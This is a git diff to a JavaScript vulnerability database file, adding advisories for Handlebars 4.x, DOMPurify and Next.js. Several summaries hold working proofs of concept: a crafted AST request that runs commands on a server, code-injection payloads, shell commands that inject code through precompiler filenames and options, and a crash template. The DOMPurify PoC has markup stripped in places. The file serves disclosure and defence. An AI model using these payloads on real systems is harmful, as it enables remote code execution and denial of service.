diff --git a/repository/jsrepository-master.json b/repository/jsrepository-master.json index 3cb3ce1a..9a60d660 100644 --- a/repository/jsrepository-master.json +++ b/repository/jsrepository-master.json @@ -3918,6 +3918,197 @@ "info": [ "https://nvd.nist.gov/vuln/detail/CVE-2019-20922" ] + }, + { + "ranges": [ + { + "atOrAbove": "4.0.0", + "below": "4.7.9" + } + ], + "summary": "## Summary\n\n`resolvePartial()` in the Handlebars runtime resolves partial names via a plain property lookup on `options.partials` without guarding against prototype-chain traversal. When `Object.prototype` has been polluted with a string value whose key matches a partial reference in a template, the polluted string is used as the partial body and rendered **without HTML escaping**, resulting in reflected or stored XSS.\n\n## Description\n\nThe root cause is in `lib/handlebars/runtime.js` inside `resolvePartial()` and `invokePartial()`:\n\n```javascript\n// Vulnerable: plain bracket access traverses Object.prototype\npartial = options.partials[options.name];\n```\n\n`hasOwnProperty` is never checked, so if `Object.prototype` has been seeded with a key whose name matches a partial reference in the template (e.g. `widget`), the lookup succeeds and the polluted string is returned. The runtime emits a prototype-access warning, but the partial is still resolved and its content is inserted into the rendered output unescaped. This contradicts the documented security model and is distinct from CVE-2021-23369 and CVE-2021-23383, which addressed data property access rather than partial template resolution.\n\n**Prerequisites for exploitation:**\n1. The target application must be vulnerable to prototype pollution (e.g. via `qs`, `minimist`, or\n any querystring/JSON merge sink).\n2. The attacker must know or guess the name of a partial reference used in a template.\n\n## Proof of Concept\n\n```javascript\nconst Handlebars = require('handlebars');\n\n// Step 1: Prototype pollution (via qs, minimist, or another vector)\nObject.prototype.widget = '';\n\n// Step 2: Normal template that references a partial\nconst template = Handlebars.compile('
Welcome! {{> widget}}
');\n\n// Step 3: Render — XSS payload injected unescaped\nconst output = template({});\n// Output:
Welcome!
\n```\n\n> The runtime prints a prototype access warning claiming \"access has been denied,\" but the partial still resolves and returns the polluted value.\n\n## Workarounds\n\n- Apply `Object.freeze(Object.prototype)` early in application startup to prevent prototype pollution. Note: this may break other libraries.\n- Use the Handlebars runtime-only build (`handlebars/runtime`), which does not compile templates and reduces the attack surface.", + "identifiers": { + "githubID": "GHSA-2qvq-rjwj-gvw9", + "CVE": [ + "CVE-2026-33916" + ] + }, + "severity": "medium", + "cwe": [ + "CWE-1321", + "CWE-79" + ], + "info": [ + "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-2qvq-rjwj-gvw9", + "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2", + "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9" + ] + }, + { + "ranges": [ + { + "atOrAbove": "4.0.0", + "below": "4.7.9" + } + ], + "summary": "## Summary\n\n`Handlebars.compile()` accepts a pre-parsed AST object in addition to a template string. The `value` field of a `NumberLiteral` AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to `compile()` can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.\n\n## Description\n\n`Handlebars.compile()` accepts either a template string or a pre-parsed AST. When an AST is supplied, the JavaScript code generator in `lib/handlebars/compiler/javascript-compiler.js` emits `NumberLiteral` values verbatim:\n\n```javascript\n// Simplified representation of the vulnerable code path:\n// NumberLiteral.value is appended to the generated code without escaping\ncompiledCode += numberLiteralNode.value;\n```\n\nBecause the value is not wrapped in quotes or otherwise sanitized, passing a string such as `{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //` as the `value` of a `NumberLiteral` causes the generated `eval`-ed code to break out of its intended context and execute arbitrary commands.\n\nAny endpoint that deserializes user-controlled JSON and passes the result directly to `Handlebars.compile()` is exploitable.\n\n## Proof of Concept\n\nServer-side Express application that passes `req.body.text` to `Handlebars.compile()`:\n\n\n```Javascript\nimport express from \"express\";\nimport Handlebars from \"handlebars\";\n\nconst app = express();\napp.use(express.json());\n\napp.post(\"/api/render\", (req, res) => {\n let text = req.body.text;\n let template = Handlebars.compile(text);\n let result = template();\n res.send(result);\n});\n\napp.listen(2123);\n```\n\n```\nPOST /api/render HTTP/1.1\nContent-Type: application/json\nHost: 127.0.0.1:2123\n\n{\n \"text\": {\n \"type\": \"Program\",\n \"body\": [\n {\n \"type\": \"MustacheStatement\",\n \"path\": {\n \"type\": \"PathExpression\",\n \"data\": false,\n \"depth\": 0,\n \"parts\": [\"lookup\"],\n \"original\": \"lookup\",\n \"loc\": null\n },\n \"params\": [\n {\n \"type\": \"PathExpression\",\n \"data\": false,\n \"depth\": 0,\n \"parts\": [],\n \"original\": \"this\",\n \"loc\": null\n },\n {\n \"type\": \"NumberLiteral\",\n \"value\": \"{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //\",\n \"original\": 1,\n \"loc\": null\n }\n ],\n \"escaped\": true,\n \"strip\": { \"open\": false, \"close\": false },\n \"loc\": null\n }\n ]\n }\n}\n```\n\nThe response body will contain the output of the `id` command executed on the server.\n\n## Workarounds\n\n- **Validate input type** before calling `Handlebars.compile()`: ensure the argument is always a `string`, never a plain object or JSON-deserialized value.\n ```javascript\n if (typeof templateInput !== 'string') {\n throw new TypeError('Template must be a string');\n }\n ```\n- Use the Handlebars **runtime-only** build (`handlebars/runtime`) on the server if templates are pre-compiled at build time; `compile()` will be unavailable.", + "identifiers": { + "githubID": "GHSA-2w6w-674q-4c4q", + "CVE": [ + "CVE-2026-33937" + ] + }, + "severity": "critical", + "cwe": [ + "CWE-843", + "CWE-94" + ], + "info": [ + "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-2w6w-674q-4c4q", + "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2", + "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9" + ] + }, + { + "ranges": [ + { + "atOrAbove": "4.0.0", + "below": "4.7.9" + } + ], + "summary": "## Summary\n\nThe `@partial-block` special variable is stored in the template data context and is reachable and mutable from within a template via helpers that accept arbitrary objects. When a helper overwrites `@partial-block` with a crafted Handlebars AST, a subsequent invocation of `{{> @partial-block}}` compiles and executes that AST, enabling arbitrary JavaScript execution on the server.\n\n## Description\n\nHandlebars stores `@partial-block` in the `data` frame that is accessible to templates. In nested contexts, a parent frame's `@partial-block` is reachable as `@_parent.partial-block`. Because the data frame is a mutable object, any registered helper that accepts an object reference and assigns properties to it can overwrite `@partial-block` with an attacker-controlled value.\n\nWhen `{{> @partial-block}}` is subsequently evaluated, `invokePartial` receives the crafted object. The runtime, finding an object that is not a compiled function, falls back to **dynamically compiling** the value via `env.compile()`. If that value is a well-formed Handlebars AST containing injected code, the injected JavaScript runs in the server process.\n\nThe `handlebars-helpers` npm package (commonly used with Handlebars) includes several helpers such as `merge` that can be used as the mutation primitive.\n\n## Proof of Concept\n\nTested with Handlebars 4.7.8 and `handlebars-helpers`:\n\n```javascript\nconst Handlebars = require('handlebars');\nconst merge = require('handlebars-helpers').object().merge;\nHandlebars.registerHelper('merge', merge);\n\nconst vulnerableTemplate = `\n{{#*inline \"myPartial\"}}\n {{>@partial-block}}\n {{>@partial-block}}\n{{/inline}}\n{{#>myPartial}}\n {{merge @_parent partial-block=1}}\n {{merge @_parent partial-block=payload}}\n{{/myPartial}}\n`;\n\nconst maliciousContext = {\n payload: {\n type: \"Program\",\n body: [\n {\n type: \"MustacheStatement\",\n depth: 0,\n path: {\n type: \"PathExpression\",\n parts: [\"pop\"],\n original: \"this.pop\",\n // Code injected via depth field — breaks out of generated function call\n depth: \"0])),function () {console.error('VULNERABLE: RCE via @partial-block');}()));//\",\n },\n },\n ],\n },\n};\n\nHandlebars.compile(vulnerableTemplate)(maliciousContext);\n// Prints: VULNERABLE: RCE via @partial-block\n```\n\n## Workarounds\n\n- **Use the runtime-only build** (`require('handlebars/runtime')`). The `compile()` method is absent, eliminating the vulnerable fallback path.\n- **Audit registered helpers** for any that write arbitrary values to context objects. Helpers should treat context data as read-only.\n- **Avoid registering helpers** from third-party packages (such as `handlebars-helpers`) in contexts where templates or context data can be influenced by untrusted input.", + "identifiers": { + "githubID": "GHSA-3mfm-83xf-c92r", + "CVE": [ + "CVE-2026-33938" + ] + }, + "severity": "high", + "cwe": [ + "CWE-843", + "CWE-94" + ], + "info": [ + "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-3mfm-83xf-c92r", + "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2", + "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9" + ] + }, + { + "ranges": [ + { + "atOrAbove": "4.0.0", + "below": "4.7.9" + } + ], + "summary": "## Summary\n\nIn `lib/handlebars/runtime.js`, the `container.lookup()` function uses `container.lookupProperty()` as a gate check to enforce prototype-access controls, but then discards the validated result and performs a second, unguarded property access (`depths[i][name]`). This Time-of-Check Time-of-Use (TOCTOU) pattern means the security check and the actual read are decoupled, and the raw access bypasses any sanitization that `lookupProperty` may perform.\n\nOnly relevant when the **compat** compile option is enabled (`{compat: true}`), which activates `depthedLookup` in `lib/handlebars/compiler/javascript-compiler.js`.\n\n## Description\n\nThe vulnerable code in `lib/handlebars/runtime.js` (lines 137–144):\n\n```javascript\nlookup: function (depths, name) {\n const len = depths.length;\n for (let i = 0; i < len; i++) {\n let result = depths[i] && container.lookupProperty(depths[i], name);\n if (result != null) {\n return depths[i][name]; // BUG: should be `return result;`\n }\n }\n},\n```\n\n`container.lookupProperty()` (lines 119–136) enforces `hasOwnProperty` checks and `resultIsAllowed()` prototype-access controls. However, `container.lookup()` only uses `lookupProperty` as a boolean gate — if the gate passes (`result != null`), it then performs an independent, raw `depths[i][name]` access that circumvents any transformation or wrapped value that `lookupProperty` may have returned.\n\n## Workarounds\n\n- Avoid enabling `{ compat: true }` when rendering templates that include untrusted data.\n- Ensure context data objects are plain JSON (no Proxies, no getter-based accessor properties).", + "identifiers": { + "githubID": "GHSA-442j-39wm-28r2" + }, + "severity": "low", + "cwe": [ + "CWE-367" + ], + "info": [ + "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-442j-39wm-28r2", + "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2", + "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9" + ] + }, + { + "ranges": [ + { + "atOrAbove": "4.6.0", + "below": "4.7.9" + } + ], + "summary": "## Summary\n\nThe prototype method blocklist in `lib/handlebars/internal/proto-access.js` blocks `constructor`, `__defineGetter__`, `__defineSetter__`, and `__lookupGetter__`, but omits the symmetric `__lookupSetter__`. This omission is only exploitable when the non-default runtime option `allowProtoMethodsByDefault: true` is explicitly set — in that configuration `__lookupSetter__` becomes accessible while its counterparts remain blocked, creating an inconsistent security boundary.\n\n`4.6.0` is the version that introduced `protoAccessControl` and the `allowProtoMethodsByDefault` runtime option.\n\n## Description\n\nIn `lib/handlebars/internal/proto-access.js`:\n\n```javascript\nconst methodWhiteList = Object.create(null);\nmethodWhiteList['constructor'] = false;\nmethodWhiteList['__defineGetter__'] = false;\nmethodWhiteList['__defineSetter__'] = false;\nmethodWhiteList['__lookupGetter__'] = false;\n// __lookupSetter__ intentionally blocked in CVE-2021-23383,\n// but omitted here — creating an asymmetric blocklist\n```\n\nAll four legacy accessor helpers (`__defineGetter__`, `__defineSetter__`, `__lookupGetter__`, `__lookupSetter__`) were involved in the exploit chain addressed by CVE-2021-23383. Three of the four were explicitly blocked; `__lookupSetter__` was left out.\n\nWhen `allowProtoMethodsByDefault: true` is set, any prototype method **not present** in `methodWhiteList` is permitted by default. Because `__lookupSetter__` is absent from the list, it passes the `checkWhiteList` check and is accessible in templates, while `__lookupGetter__` (its sibling) is correctly denied.\n\n## Workarounds\n\n- Do **not** set `allowProtoMethodsByDefault: true`. The default configuration is not affected.\n- If `allowProtoMethodsByDefault` must be enabled, ensure templates do not reference `__lookupSetter__` through untrusted input.", + "identifiers": { + "githubID": "GHSA-7rx3-28cr-v5wh" + }, + "severity": "medium", + "cwe": [ + "CWE-1321" + ], + "info": [ + "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-7rx3-28cr-v5wh", + "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9" + ] + }, + { + "ranges": [ + { + "atOrAbove": "4.0.0", + "below": "4.7.9" + } + ], + "summary": "## Summary\n\nWhen a Handlebars template contains decorator syntax referencing an unregistered decorator (e.g. `{{*n}}`), the compiled template calls `lookupProperty(decorators, \"n\")`, which returns `undefined`. The runtime then immediately invokes the result as a function, causing an unhandled `TypeError: ... is not a function` that crashes the Node.js process. Any application that compiles user-supplied templates without wrapping the call in a `try/catch` is vulnerable to a single-request Denial of Service.\n\n## Description\n\nIn `lib/handlebars/compiler/javascript-compiler.js`, the code generated for a decorator invocation looks like:\n\n```javascript\nfn = lookupProperty(decorators, \"n\")(fn, props, container, options) || fn;\n```\n\nWhen `\"n\"` is not a registered decorator, `lookupProperty(decorators, \"n\")` returns `undefined`. The expression immediately attempts to call `undefined` as a function, producing:\n\n```\nTypeError: lookupProperty(...) is not a function\n```\n\nBecause the error is thrown inside the compiled template function and is not caught by the runtime, it propagates up as an unhandled exception and — when not caught by the application — crashes the Node.js process.\n\nThis inconsistency is notable: references to unregistered **helpers** produce a clean `\"Missing helper: ...\"` error, while references to unregistered **decorators** cause a hard crash.\n\n**Attack scenario:** An attacker submits `{{*n}}` as template content to any endpoint that calls `Handlebars.compile(userInput)()`. Each request crashes the server process; with process managers that auto-restart (PM2, systemd), repeated submissions create a persistent DoS.\n\n## Proof of Concept\n\n```javascript\nconst Handlebars = require('handlebars'); // Handlebars 4.7.8, Node.js v22.x\n\n// Any of these payloads crash the process\nHandlebars.compile('{{*n}}')({});\nHandlebars.compile('{{*decorator}}')({});\nHandlebars.compile('{{*constructor}}')({});\n```\n\nExpected crash output:\n```\nTypeError: lookupProperty(...) is not a function\n at Function.eval [as decorator] (eval at compile (...javascript-compiler.js:134:36))\n```\n\n## Workarounds\n\n- **Wrap compilation and rendering in `try/catch`:**\n ```javascript\n try {\n const result = Handlebars.compile(userInput)(context);\n res.send(result);\n } catch (err) {\n res.status(400).send('Invalid template');\n }\n ```\n- **Validate template input** before passing it to `compile()`. Reject templates containing decorator syntax (`{{*...}}`) if decorators are not used in your application.\n- **Use the pre-compilation workflow:** compile templates at build time and serve only pre-compiled templates; do not call `compile()` at request time.", + "identifiers": { + "githubID": "GHSA-9cx6-37pm-9jff", + "CVE": [ + "CVE-2026-33939" + ] + }, + "severity": "high", + "cwe": [ + "CWE-754" + ], + "info": [ + "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-9cx6-37pm-9jff", + "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2", + "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9" + ] + }, + { + "ranges": [ + { + "atOrAbove": "4.0.0", + "below": "4.7.9" + } + ], + "summary": "## Summary\n\nA crafted object placed in the template context can bypass all conditional guards in `resolvePartial()` and cause `invokePartial()` to return `undefined`. The Handlebars runtime then treats the unresolved partial as a source that needs to be compiled, passing the crafted object to `env.compile()`. Because the object is a valid Handlebars AST containing injected code, the generated JavaScript executes arbitrary commands on the server. The attack requires the adversary to control a value that can be returned by a dynamic partial lookup.\n\n## Description\n\nThe vulnerable code path spans two functions in `lib/handlebars/runtime.js`:\n\n**`resolvePartial()`:** A crafted object with `call: true` satisfies the first branch condition (`partial.call`) and causes an early return of the original object itself, because none of the remaining conditionals (string check, `options.partials` lookup, etc.) match a plain object. The function returns the crafted object as-is.\n\n**`invokePartial()`:** When `resolvePartial` returns a non-function object, `invokePartial` produces `undefined`. The runtime interprets `undefined` as \"partial not yet compiled\" and calls `env.compile(partial, ...)` where `partial` is the crafted AST object. The JavaScript code generator processes the AST and emits JavaScript containing the injected payload, which is then evaluated.\n\n**Minimum prerequisites:**\n1. The template uses a dynamic partial lookup: `{{> (lookup . \"key\")}}` or equivalent.\n2. The adversary can set the value of the looked-up context property to a crafted object.\n\nIn server-side rendering scenarios where templates process user-supplied context data, this enables full Remote Code Execution.\n\n## Proof of Concept\n\n```javascript\nconst Handlebars = require('handlebars');\n\nconst vulnerableTemplate = `{{> (lookup . \"payload\")}}`;\n\nconst maliciousContext = {\n payload: {\n call: true, // bypasses the primary resolvePartial branch\n type: \"Program\",\n body: [\n {\n type: \"MustacheStatement\",\n depth: 0,\n path: {\n type: \"PathExpression\",\n parts: [\"pop\"],\n original: \"this.pop\",\n // Injected code breaks out of the generated function's argument list\n depth: \"0])),function () {console.error('VULNERABLE: object -> dynamic partial -> RCE');}()));//\",\n },\n },\n ],\n },\n};\n\nHandlebars.compile(vulnerableTemplate)(maliciousContext);\n// Prints: VULNERABLE: object -> dynamic partial -> RCE\n```\n\n## Workarounds\n\n- **Use the runtime-only build** (`require('handlebars/runtime')`). Without `compile()`, the fallback compilation path in `invokePartial` is unreachable.\n- **Sanitize context data** before rendering: ensure no value in the context is a non-primitive object that could be passed to a dynamic partial.\n- **Avoid dynamic partial lookups** (`{{> (lookup ...)}}`) when context data is user-controlled.", + "identifiers": { + "githubID": "GHSA-xhpv-hc6g-r9c6", + "CVE": [ + "CVE-2026-33940" + ] + }, + "severity": "high", + "cwe": [ + "CWE-843", + "CWE-94" + ], + "info": [ + "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-xhpv-hc6g-r9c6", + "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2", + "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9" + ] + }, + { + "ranges": [ + { + "atOrAbove": "4.0.0", + "below": "4.7.9" + } + ], + "summary": "## Summary\n\nThe Handlebars CLI precompiler (`bin/handlebars` / `lib/precompiler.js`) concatenates user-controlled strings — template file names and several CLI options — directly into the JavaScript it emits, without any escaping or sanitization. An attacker who can influence template filenames or CLI arguments can inject arbitrary JavaScript that executes when the generated bundle is loaded in Node.js or a browser.\n\n## Description\n\n`lib/precompiler.js` generates JavaScript source by string-interpolating several values directly into the output. Four distinct injection points exist:\n\n### 1. Template name injection\n\n```javascript\n// Vulnerable code pattern\noutput += 'templates[\"' + template.name + '\"] = template(...)';\n```\n\n`template.name` is derived from the file system path. A filename containing `\"` or `'];` breaks out of the string literal and injects arbitrary JavaScript.\n\n### 2. Namespace injection (`-n` / `--namespace`)\n\n```javascript\n// Vulnerable code pattern\noutput += 'var templates = ' + opts.namespace + ' = ' + opts.namespace + ' || {};';\n```\n\n`opts.namespace` is emitted as raw JavaScript. Anything after a `;` in the value becomes an additional JavaScript statement.\n\n### 3. CommonJS path injection (`-c` / `--commonjs`)\n\n```javascript\n// Vulnerable code pattern\noutput += 'var Handlebars = require(\"' + opts.commonjs + '\");';\n```\n\n`opts.commonjs` is interpolated inside double quotes with no escaping, allowing `\"` to close the string and inject further code.\n\n### 4. AMD path injection (`-h` / `--handlebarPath`)\n\n```javascript\n// Vulnerable code pattern\noutput += \"define(['\" + opts.handlebarPath + \"handlebars.runtime'], ...)\";\n```\n\n`opts.handlebarPath` is interpolated inside single quotes, allowing `'` to close the array element.\n\nAll four injection points result in code that executes when the generated bundle is `require()`d or loaded in a browser.\n\n## Proof of Concept\n\n**Template name vector (creates a file `pwned` on disk):**\n\n```bash\nmkdir -p templates\nprintf 'Hello' > \"templates/evil'] = (function(){require(\\\"fs\\\").writeFileSync(\\\"pwned\\\",\\\"1\\\")})(); //.handlebars\"\n\nnode bin/handlebars templates -o out.js\nnode -e 'require(\"./out.js\")' # Executes injected code, creates ./pwned\n```\n\n**Namespace vector:**\n\n```bash\nnode bin/handlebars templates -o out.js \\\n -n \"App.ns; require('fs').writeFileSync('pwned2','1'); //\"\nnode -e 'require(\"./out.js\")'\n```\n\n**CommonJS vector:**\n\n```bash\nnode bin/handlebars templates -o out.js \\\n -c 'handlebars\"); require(\"fs\").writeFileSync(\"pwned3\",\"1\"); //'\nnode -e 'require(\"./out.js\")'\n```\n\n**AMD vector:**\n\n```bash\nnode bin/handlebars templates -o out.js -a \\\n -h \"'); require('fs').writeFileSync('pwned4','1'); // \"\nnode -e 'require(\"./out.js\")'\n```\n\n## Workarounds\n\n- **Validate all CLI inputs** before invoking the precompiler. Reject filenames and option values that contain characters with JavaScript string-escaping significance (`\"`, `'`, `;`, etc.).\n- **Use a fixed, trusted namespace string** passed via a configuration file rather than command-line arguments in automated pipelines.\n- **Run the precompiler in a sandboxed environment** (container with no write access to sensitive paths) to limit the impact of successful exploitation.\n- **Audit template filenames** in any repository or package that is consumed by an automated build pipeline.", + "identifiers": { + "githubID": "GHSA-xjpj-3mr7-gcpf", + "CVE": [ + "CVE-2026-33941" + ] + }, + "severity": "high", + "cwe": [ + "CWE-116", + "CWE-79", + "CWE-94" + ], + "info": [ + "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-xjpj-3mr7-gcpf", + "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2", + "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9" + ] } ], "extractors": { @@ -4693,6 +4884,26 @@ "https://www.vulncheck.com/advisories/dompurify-xss-via-textarea-rawtext-bypass-in-safe-for-xml", "https://www.vulncheck.com/advisories/dompurify-xss-via-textarea-rawtext-bypass-in-safeforxml" ] + }, + { + "ranges": [ + { + "atOrAbove": "0", + "below": "3.3.2" + } + ], + "summary": "## Description\n\nA mutation-XSS (mXSS) condition was confirmed when sanitized HTML is reinserted into a new parsing context using `innerHTML` and special wrappers. The vulnerable wrappers confirmed in browser behavior are `script`, `xmp`, `iframe`, `noembed`, `noframes`, and `noscript`. The payload remains seemingly benign after `DOMPurify.sanitize()`, but mutates during the second parse into executable markup with an event handler, enabling JavaScript execution in the client (`alert(1)` in the PoC).\n\n\n## Vulnerability\n\nThe root cause is context switching after sanitization: sanitized output is treated as trusted and concatenated into a wrapper string (for example, ` ... ` or other special wrappers) before being reparsed by the browser. In this flow, attacker-controlled text inside an attribute (for example `` or equivalent closing sequences for each wrapper) closes the special parsing context early and reintroduces attacker markup (``) outside the original attribute context. DOMPurify sanitizes the original parse tree, but the application performs a second parse in a different context, reactivating dangerous tokens (classic mXSS pattern).\n\n## PoC\n\n1. Start the PoC app:\n```bash\nnpm install\nnpm start\n```\n\n2. Open `http://localhost:3001`.\n3. Set `Wrapper en sink` to `xmp`.\n4. Use payload:\n```html\n \"</xmp\">\n```\n\n5. Click `Sanitize + Render`.\n6. Observe:\n- `Sanitized response` still contains the `` sequence inside `alt`.\n- The sink reparses to include ``.\n- `alert('expoc')` is triggered.\n7. Files:\n- index.html\n\n```html\n\n\n \n \n \n expoc - DOMPurify SSR PoC\n \n \n \n
\n

expoc - DOMPurify Server-Side PoC

\n

\n Flujo: input -> POST /sanitize (Node + jsdom + DOMPurify) -> render vulnerable con innerHTML.\n

\n\n
\n
\n \n \n
\n
\n \n \n
\n
\n \n
\n
\n

Se usa render vulnerable: sink.innerHTML = '<wrapper>' + sanitized + '</wrapper>'.

\n
\n
script (vulnerable)
\n
xmp (vulnerable)
\n
iframe (vulnerable)
\n
noembed (vulnerable)
\n
noframes (vulnerable)
\n
noscript (vulnerable)
\n
div (no vulnerable)
\n
textarea (no vulnerable)
\n
title (no vulnerable)
\n
style (no vulnerable)
\n
\n
\n\n
\n \n
(empty)
\n
\n\n
\n \n
\n
\n
\n
\n\n \n \n\n```\n\n- server.js\n\n```js\nconst express = require('express');\nconst path = require('path');\nconst { JSDOM } = require('jsdom');\nconst createDOMPurify = require('dompurify');\n\nconst app = express();\nconst port = process.env.PORT || 3001;\n\nconst window = new JSDOM('').window;\nconst DOMPurify = createDOMPurify(window);\n\napp.use(express.json());\napp.use(express.static(path.join(__dirname, 'public')));\n\napp.get('/health', (_req, res) => {\n res.json({ ok: true, service: 'expoc' });\n});\n\napp.post('/sanitize', (req, res) => {\n const input = typeof req.body?.input === 'string' ? req.body.input : '';\n const sanitized = DOMPurify.sanitize(input);\n res.json({ sanitized });\n});\n\napp.listen(port, () => {\n console.log(`expoc running at http://localhost:${port}`);\n});\n```\n\n- package.json\n\n```json\n{\n \"name\": \"expoc\",\n \"version\": \"1.0.0\",\n \"main\": \"server.js\",\n \"scripts\": {\n \"test\": \"echo \\\"Error: no test specified\\\" && exit 1\",\n \"start\": \"node server.js\",\n \"dev\": \"node server.js\"\n },\n \"keywords\": [],\n \"author\": \"\",\n \"license\": \"ISC\",\n \"description\": \"\",\n \"dependencies\": {\n \"dompurify\": \"^3.3.1\",\n \"express\": \"^5.2.1\",\n \"jsdom\": \"^28.1.0\"\n }\n}\n```\n\n## Evidence\n\n- PoC\n\n[daft-video.webm](https://github.com/user-attachments/assets/499a593d-0241-4ab8-95a9-cf49a00bda90)\n\n- XSS triggered\n\"daft-img\"\n\n## Why This Happens\nThis is a mutation-XSS pattern caused by a parse-context mismatch:\n\n- Parse 1 (sanitization phase): input is interpreted under normal HTML parsing rules.\n- Parse 2 (sink phase): sanitized output is embedded into a wrapper that changes parser state (`xmp` raw-text behavior).\n- Attacker-controlled sequence (``) gains structural meaning in parse 2 and alters DOM structure.\n\nSanitization is not a universal guarantee across all future parsing contexts. The sink design reintroduces risk.\n\n## Remediation Guidance\n1. Do not concatenate sanitized strings into new HTML wrappers followed by `innerHTML`.\n2. Keep the rendering context stable from sanitize to sink.\n3. Prefer DOM-safe APIs (`textContent`, `createElement`, `setAttribute`) over string-based HTML composition.\n4. If HTML insertion is required, sanitize as close as possible to final insertion context and avoid wrapper constructs with raw-text semantics (`xmp`, `script`, etc.).\n5. Add regression tests for context-switch/mXSS payloads (including ``, ``, similar parser-breakout markers).\n\nReported by Oscar Uribe, Security Researcher at Fluid Attacks. Camilo Vera and Cristian Vargas from the Fluid Attacks Research Team have identified a mXSS via Re-Contextualization in DomPurify 3.3.1.\n\nFollowing Fluid Attacks [Disclosure Policy](https://fluidattacks.com/advisories/policy), if this report corresponds to a vulnerability and the conditions outlined in the policy are met, this advisory will be published on the website over the next few days (the timeline may vary depending on maintainers' willingness to attend to and respond to this report) at the following URL: https://fluidattacks.com/advisories/daft\n\nAcknowledgements: [Camilo Vera](https://github.com/caverav/) and [Cristian Vargas](https://github.com/tachote).", + "identifiers": { + "githubID": "GHSA-h8r8-wccr-v5f2" + }, + "severity": "medium", + "cwe": [ + "CWE-79" + ], + "info": [ + "https://github.com/cure53/DOMPurify/security/advisories/GHSA-h8r8-wccr-v5f2", + "https://github.com/cure53/DOMPurify/releases/tag/3.3.2" + ] } ], "extractors": { @@ -8233,6 +8444,66 @@ { "atOrAbove": "16.0.0-beta.0", "below": "16.1.5" + }, + { + "atOrAbove": "15.0.0-canary.0", + "below": "999.999.999" + }, + { + "atOrAbove": "15.0.1-canary.0", + "below": "999.999.999" + }, + { + "atOrAbove": "15.0.2-canary.0", + "below": "999.999.999" + }, + { + "atOrAbove": "15.0.3-canary.0", + "below": "999.999.999" + }, + { + "atOrAbove": "15.0.4-canary.0", + "below": "999.999.999" + }, + { + "atOrAbove": "15.1.1-canary.0", + "below": "999.999.999" + }, + { + "atOrAbove": "15.2.0-canary.0", + "below": "999.999.999" + }, + { + "atOrAbove": "15.2.1-canary.0", + "below": "999.999.999" + }, + { + "atOrAbove": "15.2.2-canary.0", + "below": "999.999.999" + }, + { + "atOrAbove": "15.3.0-canary.0", + "below": "999.999.999" + }, + { + "atOrAbove": "15.3.1-canary.0", + "below": "999.999.999" + }, + { + "atOrAbove": "15.4.0-canary.0", + "below": "999.999.999" + }, + { + "atOrAbove": "15.4.2-canary.0", + "below": "999.999.999" + }, + { + "atOrAbove": "15.5.1-canary.0", + "below": "999.999.999" + }, + { + "atOrAbove": "15.6.0-canary.0", + "below": "15.6.0-canary.61" } ], "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", @@ -8343,6 +8614,14 @@ { "atOrAbove": "10.0.0", "below": "16.1.7" + }, + { + "atOrAbove": "16.0.0-beta.0", + "below": "16.1.7" + }, + { + "atOrAbove": "10.0.0", + "below": "15.5.14" } ], "summary": "## Summary\nThe default Next.js image optimization disk cache (`/_next/image`) did not have a configurable upper bound, allowing unbounded cache growth.\n\n## Impact\nAn attacker could generate many unique image-optimization variants and exhaust disk space, causing denial of service.\n\n## Patches\nFixed by adding an LRU-backed disk cache with `images.maximumDiskCacheSize`, including eviction of least-recently-used entries when the limit is exceeded. Setting `maximumDiskCacheSize: 0` disables disk caching. \n\n## Workarounds\nIf upgrade is not immediately possible:\n- Periodically clean `.next/cache/images`.\n- Reduce variant cardinality (e.g., tighten values for `images.localPatterns`, `images.remotePatterns`, and `images.qualities`)", diff --git a/repository/jsrepository-v2.json 